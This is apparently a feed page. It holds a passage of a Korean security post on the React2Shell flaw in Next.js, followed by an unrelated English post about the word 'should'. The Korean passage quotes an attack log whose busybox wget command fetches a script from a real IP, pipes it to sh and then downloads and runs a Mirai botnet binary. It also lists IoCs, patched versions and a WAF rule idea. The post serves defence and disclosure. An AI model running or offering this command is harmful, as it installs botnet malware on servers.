  6. ๊ฒฐ๊ตญ JSON ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์ด ์ผ์–ด๋‚˜๋ฉด์„œ, then ์†์„ฑ์„ ๊ฐ€์ง€๋ฉด์„œ, ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ˆ˜์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€์žฅ ์—ฐ๊ด€์„ฑ ๋†’์€ ํ‘œํ˜„์ด๋ผ๋Š” ์ ์„ ๋ชจ๋‘ ๋งŒ์กฑํ•˜๋Š” ๋ถ€๋ถ„์€ {"then": "$Bx"}๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. $Bx๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ณผ์ • ์ค‘ (๋˜๋Š” $Bx๊ฐ€ ์ฒ˜๋ฆฌํ•œ ๊ฒฐ๊ณผ์— ๋Œ€ํ•œ ์‚ฌํ›„) ๊ฒ€์ฆ์ด ๋ถ€์กฑํ•˜๋‹ค๋Š” ์˜๋ฏธ์ด๋‹ค.
  7. ๊ณต๊ฒฉ ์ ˆ์ฐจ์— ํฌํ•จ๋˜๋Š” Next-Action ํ—ค๋”๋Š” ์• ์ดˆ์— ์ด ์ทจ์•ฝ์ ์˜ ์›์ธ์ด ๋œ ์–ด๋–ค ๊ธฐ๋Šฅ์„ ์ผœ๊ณ  ๋„๋Š” ๊ฒƒ์— ๊ด€ํ•œ ๊ฒƒ์ž„์„ ์˜ˆ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ฐœ๋ฐœ๋œ ์•ฑ์— ์กด์žฌํ•˜๋Š” ์œ ํšจํ•œ ์•ก์…˜์— ๋Œ€ํ•œ Key๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ทธ ์•ก์…˜์˜ ์‹คํ–‰์„ ์š”์ฒญํ•จ์œผ๋กœ์„œ ๊ณต๊ฒฉ ์ฝ”๋“œ ๋˜ํ•œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ์ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ ๋ญ˜ํ•˜๋‚˜?

Catswords OSS๋กœ ์ œ๋ณด๋œ ๋‚ด์šฉ์— ๋”ฐ๋ฅด๋ฉด, React2Shell์— ๋…ธ์ถœ๋œ ์„œ๋ฒ„๋Š” ์ด๋Ÿฐ ๋ช…๋ น์ด ๋“ค์–ด์˜จ๋‹ค๊ณ  ํ•œ๋‹ค. ํ•œ ํšŒ์›์ด ํ•™์Šต์šฉ์œผ๋กœ ๊ตฌ์ถ•ํ•œ React ์„œ๋ฒ„์—์„œ ๋ฐœ๊ฒฌ๋œ ๋กœ๊ทธ์ด๋‹ค.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

์ด ํŒŒ์ผ์˜ ์ •์ฒด๋Š” Mirai botnet์ด๋ผ ๋ถ€๋ฅด๋Š” ๊ณ„์—ด์˜ ์•…์„ฑ์ฝ”๋“œ์ด๋‹ค. React2Shell์— ์ทจ์•ฝํ•œ ์„œ๋ฒ„๋“ค์€ ์ด๋Ÿฐ ์•…์„ฑ์ฝ”๋“œ๋“ค์„ ์„œ๋ฒ„์— ์ฃผ์ž…๋ฐ›๊ฒŒ ๋œ๋‹ค.

๊ทธ๋Ÿผ ์ด ์•…์„ฑ์ฝ”๋“œ์˜ ๋ช…์„ฑ(?)์€ ์–ด๋А์ •๋„์ผ์ง€ ํ•œ๋ฒˆ ์ฒดํฌํ•ด๋ณด์ž.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(๊ทธ๋ž˜ ๋„ˆ ๋‚˜์œ๊ฑฐ ์•Œ์•˜์œผ๋‹ˆ ๊ทธ๋งŒ ์•Œ์•„๋ณด์ž)

๊ด€๋ จ IoC ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

๋ฒ”์šฉ botnet์ด ์„ค์น˜๋˜๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์‹ค์ƒ DDoS ๊ณต๊ฒฉ ๋“ฑ ๋‹ค์–‘ํ•œ ๋ชฉ์ ์œผ๋กœ ์•…์šฉ๋˜๋Š” ์„œ๋ฒ„๊ฐ€ ๋œ๋‹ค.

์ถ”๊ฐ€ ๋ถ„์„์€ ์•„๋ž˜ ๋งํฌ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

์ด ๊ณต๊ฒฉ์„ ์–ด๋–ป๊ฒŒ ์™„ํ™”ํ•ด์•ผํ• ๊นŒ?

๋ฒ„์ „ ์—…๋ฐ์ดํŠธ๋กœ ํ•ด๊ฒฐํ•˜๊ธฐ

Next.js๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์„œ๋ฒ„๋ผ๋ฉด ์ทจ์•ฝ์ ์ด ํ•ด๊ฒฐ๋œ ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜์—ฌ์•ผ ํ•œ๋‹ค. Next.js์˜ ๊ฐœ๋ฐœ์‚ฌ Vercel์€ ์ทจ์•ฝํ•œ ๋ฒ„์ „์— ๋Œ€ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์•ˆ๋‚ดํ•˜๊ณ  ์žˆ๋‹ค.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

ํ˜น์—ฌ ์—…๋ฐ์ดํŠธ์— ๊ณค๋ž€์„ ๊ฒช๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ, Vercel์—์„œ ๊ณต์‹ ์ œ๊ณตํ•˜๋Š” ํŒจ์น˜ ๋„๊ตฌ๋ฅผ ํ™œ์šฉํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์€ ๋ฐฉ๋ฒ•์ด ๋  ์ˆ˜ ์žˆ๋‹ค.

  • https://github.com/vercel-labs/fix-react2shell-next

๋ฐฉํ™”๋ฒฝ(WAF ๋“ฑ) ๊ทœ์น™์˜ ๊ฐœ์„ ์œผ๋กœ ์™„ํ™”ํ•˜๊ธฐ

Next-Action ํ—ค๋” + ์‹œ์Šคํ…œ OS ๋ช…๋ น์–ด + ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ Array ๋˜๋Š” Object ๊ด€๋ จ ๋ฉ”์†Œ๋“œ, ์ด๋ ‡๊ฒŒ 3์š”์†Œ๊ฐ€ ๊ฐ™์€ ์š”์ฒญ์— ๋™์‹œ์— ๋“ค์–ด์žˆ๋Š”๊ฑด ํ”ํ•œ ์ƒํ™ฉ์€ ์•„๋‹ˆ๋ผ๋Š” ์ ์„ ๊ณ ๋ คํ•ด์„œ ์ฐจ๋‹จ ๊ทœ์น™์„ ๋งŒ๋“œ๋Š” ๊ฒƒ๋„ ๋ฐฉ๋ฒ•์ด ๋  ์ˆ˜ ์žˆ๋‹ค.

Read more โ†’
1
0
0
0
0
0
1

I don't like the word "should".

I like the words "can" or "must" or "could" or "would". But "should" is tinged with moral imperative and is generally put in a sentence like "you should..." or "I should".

"Should" conveys the sense of expectations and a risk of transgression. Many times it obscures who all is doing the expecting.

People can have expectations. That's fine.

So I prefer to be clear and say "I expect that you..." or "s/he expects that you..."

0